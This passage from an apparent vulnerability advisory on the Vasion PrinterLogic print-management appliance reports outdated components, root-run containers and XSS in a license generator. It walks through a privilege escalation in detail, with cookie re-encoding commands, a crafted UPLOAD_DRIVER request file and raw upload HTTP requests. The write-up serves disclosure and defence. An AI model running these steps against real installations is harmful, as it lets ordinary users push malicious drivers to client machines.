printerlogic/base-php-fpm-nginx 6ec7b7d162b2: Pull complete db606474d60c: Pull complete afb30f0cd8e0: Pull complete 3bb2e8051594: Pull complete 4d71313b39b0: Pull complete 381de550657f: Pull complete e671c4250cc8: Pull complete [...] kali# docker save printerlogic/base-php-fpm-nginx > /dev/shm/test.tar kali# pwd /dev/shm kali# mkdir output && cd output kali# tar xvf ../test.tar kali# for i in */; do cd $i && tar xvf *tar && cd /dev/shm/output;done kali# strings ./679eaa2d89e00f8903c220a8d880e07c4205ef789d665adff4b59e77fe1abb93/usr/lib/x86_64-linux-gnu/libssl.so.1.1|grep OpenSSL OpenSSL 1.1.1d 10 Sep 2019 kali# strings *//usr/sbin/nginx|grep 1.17 nginx version: nginx/1.17.5 configure arguments: --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib/nginx/modules [...] -fdebug-prefix-map=/data/builder/debuild/nginx-1.17.5/debian/debuild-base/nginx-1.17.5=. -fstack-protector-strong -Wformat -Werror=format-security -Wp,-D_FORTIFY_SOURCE=2 -fPIC' --with-ld-opt='-Wl,-z,relro -Wl,-z,now -Wl,--as-needed -pie' nginx/1.17.5 Futhermore, while auditing the PHP code, it appears the appliance is using a mix of different versions of Laravel in the Docker instances - all of these versions are EOL. Determining the Laravel version in all Docker instances: root@printerlogic:~# for i in $(docker ps | awk '{ print $1 }'); do echo $(docker ps | grep $i | awk '{ print $2'}); docker exec -it $i sh -c "if [ -f /var/www/vendor/laravel/framework/src/Illuminate/Foundation/Application.php ]; then grep -B 5 'VERSION =' /var/www/vendor/laravel/framework/src/Illuminate/Foundation/Application.php;fi";echo; done printerlogic/pi:5.0.6539 /** * The Laravel framework version. * * @var string */ const VERSION = '5.5.45'; <- EOL in 2020 printerlogic/pi:5.0.6539 const VERSION = '5.5.45'; <- EOL IN 2020 printerlogic/users:5.186.1 const VERSION = '5.8.38'; <- EOL IN 2019 printerlogic/pi:5.0.6539 const VERSION = '5.5.45'; <- EOL IN 2020 printerlogic/scd:1.0.70 const VERSION = '6.18.10'; <- EOL but security patches still provided printerlogic/scim:1.0.9 const VERSION = '5.8.38'; <- EOL IN 2019 printerlogic/gw:1.208.5 const VERSION = '5.7.26'; <- EOL IN 2019 printerlogic/users:5.186.1 const VERSION = '5.8.38'; <- EOL IN 2020 printerlogic/cpp-ui:1.80.5 const VERSION = '7.12.0'; <- will EOL in March 2022 printerlogic/idpi:1.0.6 const VERSION = '6.14.0'; <- EOL but security patches still provided printerlogic/authn:1.0.257 const VERSION = '5.8.38'; <- EOL IN 2019 printerlogic/pi:5.0.6539 const VERSION = '5.5.45'; <- EOL IN 2020 printerlogic/tree:1.0.57 const VERSION = '6.20.43'; <- EOL but security patches still provided printerlogic/pi:5.0.6539 const VERSION = '5.5.45'; <- EOL IN 2020 printerlogic/pq:5.0.124 const VERSION = '5.7.9'; <- EOL IN 2019 printerlogic/pi:5.0.6539 const VERSION = '5.5.45'; <- EOL IN 2020 Laravel versions are EOL in these 16 Docker instances. Laravel support (image from Wikipedia, as of January 2022): [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] The code is also using outdated PHP libraries, containing public vulnerabilities: - - ./app/lib/common/aws/sdk.class.php from 2011 - - ./app/lib/common/phpmailer/class.phpmailer.php 5.1 from 2010 ( * @version $Id: class.phpmailer.php,v 1.1 2010/09/05 01:08:18 aaron Exp $) - - ./app/common/upload.class.php class upload - 0.27 (14/05/2009) - several CVEs Some of these libraries are outdated and are vulnerable to public vulnerabilities. It is recommended to review all the libraries in the different directories they are stored: kali% less app/common/ d3.tip.js jquery-migrate-1.2.1.js ppp_only/ validation.class.php google_authorization_email.txt jquery-ui-1.8.1.custom.min.js themes/ version_reader.php jquery.dataTables.js login.class.php tooltips.js jquery-fieldselection.js passwordrecovery.email.txt upload.class.php kali% ls app/lib/common admin.header.inc.php breadcrumbs.php current_selection.php header.inc.php logout.php php-imap TranslationsEmbedStaticTranslations.php auto_open_tree_search.php browse_complete.php global.inc.php lightopenid oses.php phpmailer verify_company_login.php aws browse.php global.php load-settings.php pChart tooltip.php All the docker instances are using outdated libraries, without security patches. The code relies heavily on Laravel / Illuminate and these libraries are outdated and contain security vulnerabilities. ## Details - Processes running as root in Docker instances When analyzing Docker instances, it was observed that some Docker instances are running processes (php, nodeJS, Rust binaries, Go binaries) as root. This list is not exhaustive. Custom processes running as root inside Docker instances: root@printerlogic:/dev/shm/a# for i in $(docker ps | awk '{ print $1 }'); do echo $(docker ps | grep $i); docker exec -it $i sh -c 'ps -a';done 16178d2bccb2 printerlogic/va-api:1.1.4 "/opt/entrypoint.sh " 3 hours ago Up 3 hours (healthy) 80/tcp printercloud-appliance_va-api.1.fwacyv7l7gqxqrtwox45kvp1i PID USER TIME COMMAND 1 root 0:01 va-api 9f72609937de printerlogic/pi:5.0.6539 "/var/www/app/.docke" 3 hours ago Up 3 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-seeder.1.tbniqiidu8vtqpjtxjwh8oxsm USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.2 392100 21920 ? Ssl 03:38 0:07 php artisan queue:work --queue=seeder --sleep=3 --tries=1 7d39399f459a printerlogic/pi:5.0.6539 "/var/www/app/.docke" 3 hours ago Up 3 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-reports.1.es8sfg9p6zya8r8396izh5z1i USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.2 392100 22484 ? Ssl 03:38 0:07 php artisan queue:work --queue=scheduled-report --sleep=3 --tries=1 bb96b17d45b8 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 3 hours ago Up 3 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-snmp.1.ttxndt3y7brnkw95vxluhht7l USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.2 392100 23808 ? Ssl 03:38 0:07 php artisan queue:work --queue=snmp-status --sleep=3 --tries=1 9ad5da8b9d25 printerlogic/sched:1.0.18 "/var/www/app/.dock" 3 hours ago Up 3 hours 80/tcp, 443/tcp, 9000/tcp printercloud-appliance_worker-scheduler.1.sy93cqxhn8fjypvfg9eu78may USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.0 2392 976 ? Ss 03:37 0:00 sh -c while true; do php /var/www/app/artisan schedule:run; sleep 6 b3b7793a3e95 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 3 hours ago Up 3 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-low.1.whls4vm5xshz3h44c462iwdc1 USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.3 392100 28060 ? Ssl 03:38 0:07 php artisan queue:work --queue=laravel-schedule-low --sleep=3 -tri ac69cca5df62 printerlogic/pi:5.0.6539 "/var/www/app/.docke" 3 hours ago Up 3 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-pi-high.1.3cr0gdxirucwzdk2j5d0rbtja USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.3 398244 30584 ? Ssl 03:38 0:09 php artisan queue:work --queue=laravel-schedule-high --sleep=3 -tr bf43c1f6503e printerlogic/users:5.186.1 "/var/www/app/.docke" 3 hours ago Up 3 hours 80/tcp, 443/tcp, 9000-9001/tcp printercloud_worker-users-queue.1.n3hbhjezaps6gwkw1nuqupdq4 USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.1 0.2 389304 19952 ? Ssl 03:38 0:10 php artisan queue:work --queue=users --sleep=3 --tries=1 6b3781947b83 printerlogic/client:25.1.0.551 "/bin/sh -c 'supervi" 3 hours ago Up 3 hours printercloud-appliance_client.1.pnbxglabahqd9prozbvbs55sc USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.0 4636 464 ? Ss 03:38 0:00 /bin/sh -c supervisord -n -c /etc/supervisor/supervisord.conf root 6 0.0 0.0 55460 3640 ? S 03:38 0:03 /usr/bin/python /usr/bin/supervisord -n -c /etc/supervisor/supervis root 9 0.4 0.4 958256 40652 ? Sl 03:38 0:43 /opt/PrinterInstallerClient/service_interface/./PrinterInstallerCli 7a508d3d8623 printerlogic/oncp-hold:v1.0.31 "./cloud-print-job-h" 3 hours ago Up 3 hours (healthy) 80/tcp printercloud_oncp-hold.1.u3ac7ousxjn4ff5kkcvwgf9n4 PID USER TIME COMMAND 1 root 0:21 ./cloud-print-job-holder-app 7a508d3d8623 printerlogic/oncp-hold:v1.0.31 "./cloud-print-job-h" 3 hours ago Up 3 hours (healthy) 80/tcp printercloud_oncp-hold.1.u3ac7ousxjn4ff5kkcvwgf9n4 PID USER TIME COMMAND 1 root 0:21 ./cloud-print-job-holder-app d4a0594b6121 printerlogic/ebc:1.0.34 "/var/www/app/.docke" 3 hours ago Up 3 hours (healthy) 80/tcp, 9229/tcp printercloud_ebc.1.1e4rjf6mzq9t53swqdgxgfnwu PID USER TIME COMMAND 1 root 0:01 {node} npm run start 27 root 0:04 node ./src/server.js ed12cf7e4428 printerlogic/oncp-reg:1.0.15 "/opt/entrypoint.sh " 3 hours ago Up 3 hours (healthy) printercloud_oncp-reg.1.y5dmk4y84g6rjyrt4t53syutz PID USER TIME COMMAND 1 root 0:06 api 6092ba3e4189 printerlogic/oncp-pgw:v1.0.21 "./cloud-print-print" 3 hours ago Up 3 hours (healthy) 80-81/tcp printercloud_oncp-pgw.1.x9j0c6o7ydf0ehb2pmwxb70fj PID USER TIME COMMAND 1 root 0:48 ./cloud-print-printer-gw f784e1b43237 printerlogic/qms:1.0.124 "/opt/entrypoint.sh " 3 hours ago Up 3 hours (healthy) printercloud_qms.1.ek9zr8g67vb9k0s1n9nv2s736 PID USER TIME COMMAND 1 root 0:06 api 9098f6052c94 printerlogic/identity:v1.0.88 "/usr/local/bin/iden" 3 hours ago Up 3 hours (healthy) 80/tcp printercloud_identity.1.8x0lwby90079bojeabu8vhead PID USER TIME COMMAND 1 root 0:01 /usr/local/bin/identity_api 0bf820403a1a printerlogic/edw:1.0.44 "/opt/entrypoint.sh " 3 hours ago Up 3 hours (healthy) printercloud_edw.1.yt5pd4mmletn81vs3wo5dz77q PID USER TIME COMMAND 1 root 0:00 /opt/api bc477aaff3d7 printerlogic/oncp-ofn:v1.0.6 "off-network-app" 3 hours ago Up 3 hours (healthy) 80/tcp printercloud_oncp-ofn.1.szvk26xlr897j96p2z29hlv9p PID USER TIME COMMAND 1 root 0:01 off-network-app e9994d5a21bf printerlogic/prs:1.0.2 "/var/www/app/.docke" 3 hours ago Up 3 hours (healthy) 80/tcp, 9229/tcp printercloud_prs.1.6uuzdvqkb39u910gw9e3yupfy PID USER TIME COMMAND 1 root 0:00 npm 25 root 0:35 node ./src/server.js 5b99b9c2a4b2 printerlogic/eb:0.0.4 "/var/www/app/.docke" 3 hours ago Up 3 hours (healthy) 3000/tcp, 9229/tcp printercloud_eb.1.wtzjn9sdbl6wva6dy3u1y1nh5 PID USER TIME COMMAND 1 root 0:00 npm 23 root 0:00 npm 38 root 0:00 [node] 88 root 0:05 node runParallel.js runRestApiServer.js runPollingProxy.js 94 root 1:08 /usr/local/bin/node /var/www/app/runRestApiServer.js 99 root 0:32 /usr/local/bin/node /var/www/app/runPollingProxy.js a7bff45e538c printerlogic/ofn:1.108.0 "off-network-app" 3 hours ago Up 3 hours (healthy) 80/tcp printercloud_ofn.1.18qn5bj4eqgpbq2d94k6hy8vx PID USER TIME COMMAND 1 root 0:01 off-network-app 317daac676fd printerlogic/scss:1.0.39 "/var/www/app/.docke" 3 hours ago Up 3 hours (healthy) 80/tcp, 9229/tcp printercloud_scss.1.uc6fcunwy1s3hdb6di4avqlzb PID USER TIME COMMAND 1 root 0:00 npm run start 63 root 0:22 node bin/src/server.js a842502dcc97 printerlogic/cat:1.0.58 "/var/www/app/.docke" 3 hours ago Up 3 hours (healthy) 80/tcp, 9229/tcp printercloud_cat.a6zgwxfp4n2v4tdi8u7b40shy.fgp2p5wo56hg4sanjmirpoyzl PID USER TIME COMMAND 1 root 0:00 npm 19 root 0:00 [node] 69 root 0:00 [node] 108 root 0:07 node runRestApiServer.js 5318 root 0:00 ps -a 022c2a2201b4 printerlogic/hive:1.1.30 "/opt/entrypoint.sh " 6 days ago Up 3 hours cicd_hive_1 PID USER TIME COMMAND 1 root 0:02 hive monitor Running everything as root is dangerous - vulnerability inside a service may be used by the attacker to move laterally and compromise the host. ## Details - Creation of administrator cookies using the credentials of regular users Using a local user account, it is possible to elevate the privileges to admin privileges. Using these admin privileges, it is possible to do a lot of administrative tasks on the solution. As an example, I will show how to use this weakness to upload malicious driver packages to the remote server. Creation of a user `user` without admin privileges: [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] Local user without administrator privileges [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] Local user without administrator privileges Using this account, it is possible to login into `/admin/`. Even if the workspace is empty, the session cookies have administrator privileges: [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] Logged as user inside `/admin/` On the SaaS installation, this vulnerability is also present. A user `test-user` has been created and he is able to login to https://[redacted].prrintercloud10.com/admin/index.php: [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] Logged as user `test-user` inside `/admin/` in the SaaS version The session cookies of the normal user obtained by login into `/admin/` can be then used to upload new drivers into the system. Using Burp, I extracted the session cookies for the `user` logged in `/admin/`: [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] Session cookies of a normal user Crafting a custom upload request to be used by the PrinterLogic client under Linux/MacOS. File to be placed inside `/opt/PrinterInstallerClient/tmp/requests/1-1`: 1 UPLOAD_DRIVER 2 base64(protocol) 3 base64(domain_name||ip) 4 base64("/") 5 base64(PHPSESSID=VALUE;XSRF-TOKEN=VALUE;laravel_session=VALUE;) 6 7 base64("1") I created a custom valid request file by transforming the previous cookies into acceptable data by the PrinterLogic client running on the test laptop (no LF characters, no space, trailing ";" at the end of the line, no url-encoded characters): Valid Cookies to be used by the PrinterLogic Client: kali% cat cookies.txt PHPSESSID=a620eea1e1e7f5b0f2ca0cd680e53d63; XSRF-TOKEN=eyJpdiI6Ikh1aDlwRXh2aURhbGptTWdMYk9uOHc9PSIsInZhbHVlIjoibWxqZDZWbGtFYUdZTlwvWDZwWkhBVkhlSEhtVXoza2l6dkVBa1BKQzdZR2dvVU43b1ZkN2lIN00rdG8yYTVSQWoiLCJtYWMiOiJkY2I1ZTU3OWNkYWY4OGUxMzU2ODQ2OWQ2OWRjZjJjNWQ2NjdiODQzMTUwMTllYTk0YjRmMjY0NDg1OTNkNTUwIn0%3D; laravel_session=eyJpdiI6InhtSUxaSFc2U2hXaXBpWHRVRTNlTXc9PSIsInZhbHVlIjoiYUc3dERTcDRpUTBENW9BcWlLNFk1UDgwU2hISTBkQzFENVd0aVdtRzlJSWE2WDhtRFkwUDJHcXVFc29NVHYyXC8iLCJtYWMiOiIyNmE0OTMxMDExYTIyZDc4OWNiNzk0YWRiNjI1M2ZmMmM0NjZiOGRlNTgwMGFmNTE3ODBkMGM0MjQzNzcxY2QzIn0%3D kali% echo -n $(cat cookies.txt | sed -e 's# ##g;s#%3D#=#g');echo ';' PHPSESSID=a620eea1e1e7f5b0f2ca0cd680e53d63;XSRF-TOKEN=eyJpdiI6Ikh1aDlwRXh2aURhbGptTWdMYk9uOHc9PSIsInZhbHVlIjoibWxqZDZWbGtFYUdZTlwvWDZwWkhBVkhlSEhtVXoza2l6dkVBa1BKQzdZR2dvVU43b1ZkN2lIN00rdG8yYTVSQWoiLCJtYWMiOiJkY2I1ZTU3OWNkYWY4OGUxMzU2ODQ2OWQ2OWRjZjJjNWQ2NjdiODQzMTUwMTllYTk0YjRmMjY0NDg1OTNkNTUwIn0=;laravel_session=eyJpdiI6InhtSUxaSFc2U2hXaXBpWHRVRTNlTXc9PSIsInZhbHVlIjoiYUc3dERTcDRpUTBENW9BcWlLNFk1UDgwU2hISTBkQzFENVd0aVdtRzlJSWE2WDhtRFkwUDJHcXVFc29NVHYyXC8iLCJtYWMiOiIyNmE0OTMxMDExYTIyZDc4OWNiNzk0YWRiNjI1M2ZmMmM0NjZiOGRlNTgwMGFmNTE3ODBkMGM0MjQzNzcxY2QzIn0=; kali% echo -n 'PHPSESSID=a620eea1e1e7f5b0f2ca0cd680e53d63;XSRF-TOKEN=eyJpdiI6Ikh1aDlwRXh2aURhbGptTWdMYk9uOHc9PSIsInZhbHVlIjoibWxqZDZWbGtFYUdZTlwvWDZwWkhBVkhlSEhtVXoza2l6dkVBa1BKQzdZR2dvVU43b1ZkN2lIN00rdG8yYTVSQWoiLCJtYWMiOiJkY2I1ZTU3OWNkYWY4OGUxMzU2ODQ2OWQ2OWRjZjJjNWQ2NjdiODQzMTUwMTllYTk0YjRmMjY0NDg1OTNkNTUwIn0=;laravel_session=eyJpdiI6InhtSUxaSFc2U2hXaXBpWHRVRTNlTXc9PSIsInZhbHVlIjoiYUc3dERTcDRpUTBENW9BcWlLNFk1UDgwU2hISTBkQzFENVd0aVdtRzlJSWE2WDhtRFkwUDJHcXVFc29NVHYyXC8iLCJtYWMiOiIyNmE0OTMxMDExYTIyZDc4OWNiNzk0YWRiNjI1M2ZmMmM0NjZiOGRlNTgwMGFmNTE3ODBkMGM0MjQzNzcxY2QzIn0=;' | base64 -w0 UEhQU0VTU0lEPWE2MjBlZWExZTFlN2Y1YjBmMmNhMGNkNjgwZTUzZDYzO1hTUkYtVE9LRU49ZXlKcGRpSTZJa2gxYURsd1JYaDJhVVJoYkdwdFRXZE1Zazl1T0hjOVBTSXNJblpoYkhWbElqb2liV3hxWkRaV2JHdEZZVWRaVGx3dldEWndXa2hCVmtobFNFaHRWWG96YTJsNmRrVkJhMUJLUXpkWlIyZHZWVTQzYjFaa04ybElOMDByZEc4eVlUVlNRV29pTENKdFlXTWlPaUprWTJJMVpUVTNPV05rWVdZNE9HVXhNelUyT0RRMk9XUTJPV1JqWmpKak5XUTJOamRpT0RRek1UVXdNVGxsWVRrMFlqUm1NalkwTkRnMU9UTmtOVFV3SW4wPTtsYXJhdmVsX3Nlc3Npb249ZXlKcGRpSTZJbmh0U1V4YVNGYzJVMmhYYVhCcFdIUlZSVE5sVFhjOVBTSXNJblpoYkhWbElqb2lZVWMzZEVSVGNEUnBVVEJFTlc5QmNXbExORmsxVURnd1UyaElTVEJrUXpGRU5WZDBhVmR0UnpsSlNXRTJXRGh0UkZrd1VESkhjWFZGYzI5TlZIWXlYQzhpTENKdFlXTWlPaUl5Tm1FME9UTXhNREV4WVRJeVpEYzRPV05pTnprMFlXUmlOakkxTTJabU1tTTBOalppT0dSbE5UZ3dNR0ZtTlRFM09EQmtNR00wTWpRek56Y3hZMlF6SW4wPTs= The resulting file is shown. The data contained in base64 must not contain LF (line feed) character to be valid. File to be used with the PrinterLogic Client: UPLOAD_DRIVER aHR0cDo= base64(http) MTAuMTA1LjAuMjQx base64(10.105.0.241) Lw== base64(/) UEhQU0VTU0lEPWE2MjBlZWExZTFlN2Y1YjBmMmNhMGNkNjgwZTUzZDYzO1hTUkYtVE9LRU49ZXlKcGRpSTZJa2gxYURsd1JYaDJhVVJoYkdwdFRXZE1Zazl1T0hjOVBTSXNJblpoYkhWbElqb2liV3hxWkRaV2JHdEZZVWRaVGx3dldEWndXa2hCVmtobFNFaHRWWG96YTJsNmRrVkJhMUJLUXpkWlIyZHZWVTQzYjFaa04ybElOMDByZEc4eVlUVlNRV29pTENKdFlXTWlPaUprWTJJMVpUVTNPV05rWVdZNE9HVXhNelUyT0RRMk9XUTJPV1JqWmpKak5XUTJOamRpT0RRek1UVXdNVGxsWVRrMFlqUm1NalkwTkRnMU9UTmtOVFV3SW4wPTtsYXJhdmVsX3Nlc3Npb249ZXlKcGRpSTZJbmh0U1V4YVNGYzJVMmhYYVhCcFdIUlZSVE5sVFhjOVBTSXNJblpoYkhWbElqb2lZVWMzZEVSVGNEUnBVVEJFTlc5QmNXbExORmsxVURnd1UyaElTVEJrUXpGRU5WZDBhVmR0UnpsSlNXRTJXRGh0UkZrd1VESkhjWFZGYzI5TlZIWXlYQzhpTENKdFlXTWlPaUl5Tm1FME9UTXhNREV4WVRJeVpEYzRPV05pTnprMFlXUmlOakkxTTJabU1tTTBOalppT0dSbE5UZ3dNR0ZtTlRFM09EQmtNR00wTWpRek56Y3hZMlF6SW4wPTs= MQ== base64(1) "Sending" the request to the PrinterLogic client: kali% cp test-req /opt/PrinterInstallerClient/tmp/requests/1-1 The GUI will appear on the local machine: [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] Upload of a driver Using Burp, we can confirm the upload is done: [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] Upload of a driver - From the logs on the client, we can confirm the upload was successful: 2022-02-03 04:14:55,175 (DEBUG): Processing request at '/opt/PrinterInstallerClient/tmp/requests/1-1' 2022-02-03 04:14:55,177 (INFO): Received request: UPLOAD_DRIVER 2022-02-03 04:14:55,177 (INFO): Creating task: Command: 'UPLOAD_DRIVER' Arguments: http:,10.105.0.241,/,PHPSESSID=a620eea1e1e7f5b0f2ca0cd680e53d63;XSRF-TOKEN=eyJpdiI6Ikh1aDlwRXh2aURhbGptTWdMYk9uOHc9PSIsInZhbHVlIjoibWxqZDZWbGtFYUdZTlwvWDZwWkhBVkhlSEhtVXoza2l6dkVBa1BKQzdZR2dvVU43b1ZkN2lIN00rdG8yYTVSQWoiLCJtYWMiOiJkY2I1ZTU3OWNkYWY4OGUxMzU2ODQ2OWQ2OWRjZjJjNWQ2NjdiODQzMTUwMTllYTk0YjRmMjY0NDg1OTNkNTUwIn0=;laravel_session=eyJpdiI6InhtSUxaSFc2U2hXaXBpWHRVRTNlTXc9PSIsInZhbHVlIjoiYUc3dERTcDRpUTBENW9BcWlLNFk1UDgwU2hISTBkQzFENVd0aVdtRzlJSWE2WDhtRFkwUDJHcXVFc29NVHYyXC8iLCJtYWMiOiIyNmE0OTMxMDExYTIyZDc4OWNiNzk0YWRiNjI1M2ZmMmM0NjZiOGRlNTgwMGFmNTE3ODBkMGM0MjQzNzcxY2QzIn0=;,,1 User ID: 1000 Group ID: 1000 Use UI: True Origin: 'PLUGIN' 2022-02-03 04:14:55,178 (DEBUG): Checking if home URL should be changed to: http://10.105.0.241/ 2022-02-03 04:14:55,179 (DEBUG): Getting clientsettings.dat from server (or using cache at /opt/PrinterInstallerClient/tmp/data/clientsettings.dat, if up-to-date) 2022-02-03 04:14:55,339 (INFO): Configuring proxy overrides: MANUAL 2022-02-03 04:14:55,339 (DEBUG): HTTP proxy: 127.0.0.1:8080 2022-02-03 04:14:55,339 (DEBUG): HTTPS proxy: 127.0.0.1:8080 2022-02-03 04:14:55,480 (DEBUG): Current cached copy of clientsettings.dat is up-to-date, using local version 2022-02-03 04:14:55,481 (INFO): The home URL is already set to: http://10.105.0.241/ 2022-02-03 04:14:55,486 (DEBUG): Getting driver paths and annotation from GUI 2022-02-03 04:15:29,901 (DEBUG): Selected in the GUI: ['/usr/share/ppd/cupsfilters/pxlcolor.ppd'], upload with 'user' credentials 2022-02-03 04:15:29,901 (DEBUG): Uploading drivers to the database 2022-02-03 04:15:29,990 (DEBUG): Found driver components ['/usr/lib/cups/filter/gstopxl'] 2022-02-03 04:15:29,999 (INFO): Configuring proxy overrides: MANUAL 2022-02-03 04:15:29,999 (DEBUG): HTTP proxy: 127.0.0.1:8080 2022-02-03 04:15:29,999 (DEBUG): HTTPS proxy: 127.0.0.1:8080 2022-02-03 04:15:30,359 (DEBUG): Attempting to open: http://10.105.0.241/client/gateway.php?confirmupload=1&uploadid=22&packagetype=LINUX&oslist=61&printprocess=&driverdate=09/06/2021&driverversion=1.1&make=HP&modelname=HP%20Color%20LaserJet%20Series%20PCL%206&annotation=upload%20with%20%27user%27%20credentials&inffile=/usr/share/ppd/cupsfilters/pxlcolor.ppd 2022-02-03 04:15:30,360 (INFO): Configuring proxy overrides: MANUAL 2022-02-03 04:15:30,360 (DEBUG): HTTP proxy: 127.0.0.1:8080 2022-02-03 04:15:30,360 (DEBUG): HTTPS proxy: 127.0.0.1:8080 2022-02-03 04:15:31,520 (INFO): Done with request: UPLOAD_DRIVER 2022-02-03 04:15:31,521 (DEBUG): Opening pipe at /opt/PrinterInstallerClient/tmp/responses/1-1 to write response Using the admin credentials, we can confirm the drivers have been uploaded without admin credentials: [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] Listing of uploaded drivers The current driver is listed as compatible with Linux only - using Burp to replay HTTPS requests, it is possible to change the OS: [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] Listing of uploaded drivers with different OS The upload is in a 3-step sequence: 1.Getting an upload slot ID: POST /client/uploadgateway.php HTTP/1.1 needhandle=1&description=Reupload+using+burp&totalsize=3976&totalfragments=1 This API will then provide an upload slot ID used for the next HTTP request. 2.Uploading the content: POST /client/uploadgateway.php HTTP/1.1 uploadid=26&fragment=0&fragmentsize=sizeof(base64(data))data=base64(data) 3.Configuring the driver: GET /client/gateway.php?confirmupload=1&uploadid=26&packagetype=NORMAL&oslist=10&printprocess=&driverdate=09%2F06%2F2021&driverversion=1.1&make=HP&modelname=HP+Color+LaserJet+Series+PCL+6&annotation=upload+with+%27user%27+credentials&inffile=%2Fusr%2Fshare%2Fppd%2Fcupsfilters%2Fpxlcolor.ppd HTTP/1.1 The `oslist` value allows the attacker to specify the target OS. To be valid, these requests require either the `Authorization: Bearer KEY` or the `x-printerlogic-auth: Bearer KEY` headers. These keys appear to be unique for each client installation. To be sure that this exploitation has worked, I reinstalled a dedicated Linux machine with PrinterLogic Client and used the specific user1 user with normal privileges (non-administrator). This machine was never used to reach the server as admin or do any action on the remote server using admin cookies. In this case, the headers were specific to this machine and the upload also worked: [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] Upload request This authorization code appears to come from the `/opt/PrinterInstallerClient/configuration.json` configuration file, in the tokens hashtable - this value is specific to each installation of the client and is set during the initial configuration of the client (this may require a temporary registration code). Token value from the configuration file (before decoding): 21 "tokens": { 22 "null": null, 23 "http://10.105.0.241/": "b'\\xa5A\\xf2\\xb7\\xf8\\x10\\xb1\\x01\\xf6P\\xba\\xb8(K\\xae\\xa7\\xea\\xc2\\xb0eC\\xff[\\xcd\\xa2e\\xe6p\\xb9j\\xe1\\x1egH\ \xd4\\xea\\xcc!\\x07\\x9d'" 24 }, The upload also worked for `user1`: [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] [please use the HTML version at https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html] Upload from user1 from a dedicated machine never linked to any PrinterLogic admin activity There are 2 verifications done by the upload process: - - Checking of the PHP sessions to verify whether the current user has administrator privileges (that can be bypassed by getting `admin` cookies when visiting `/admin/`) - - Checking of a hardcoded token that is set during the initial installation/configuration of the PrinterLogic Client. There is also a race condition between the first and the second upload requests - when an administrator is uploading a driver, another user with admin privileges can upload malicious drivers by brute-forcing the upload slot id in the second http request: the upload mechanism is not linked to a specific administrator's session but only uses the public upload slot id. It was not possible to exploit this race condition from a user without cookies with elevated privileges (using the cookies retrieving when login to http://printerlogic-url/). When using `local` users, the appliance/SaaS is vulnerable to privilege escalation, allowing to compromise drivers. Installations using Azure Single Sign On authentication are secure because the authentication is blocked by Microsoft and doesn't reach the PrinterLogic server. ## Details - XSS in the license generator and weak encryption algorithm The custom `encryption` algorithm to generate license key is very weak and can be easily bypassed. Furthermore, the appliance provides a working licence generator located in `/var/www/app/license_gen.php`. The code contains XSS in lines 117 and 253: [code:php] 1 251 THE DATE YOU SPECIFIED IS QUESTIONABLE, 252 ARE YOU REALLY SURE THATS WHAT YOU MEANT TO PUT IN THERE?

253 I PARSED IT AS: ".fd(rs('expiry'))."
"; // [2] XSS with rs('expiry') 254 } 255 ?> [/code] The value `rs("expiry")` comes from `$_REQUEST["expiry"]`. The value must respect some conditions in `_fd()` (related to the length on line 90, not shown) to exploit the XSS on line 253. An incorrect value will be shown without being escaped using `die()`, allowing the XSS on line 117. It is recommended to escape the value of `rs("expiry")` on line 253 and to patch the line 117. In other parts of the files, there are also XSS because the PHP code used `htmlentities()` to escape HTML. It is still possible to inject single quotes and add JavaScript. For example, in lines 261 and 289. XSS in `license_gen.php`: [code:php] 1 "; [...] 289
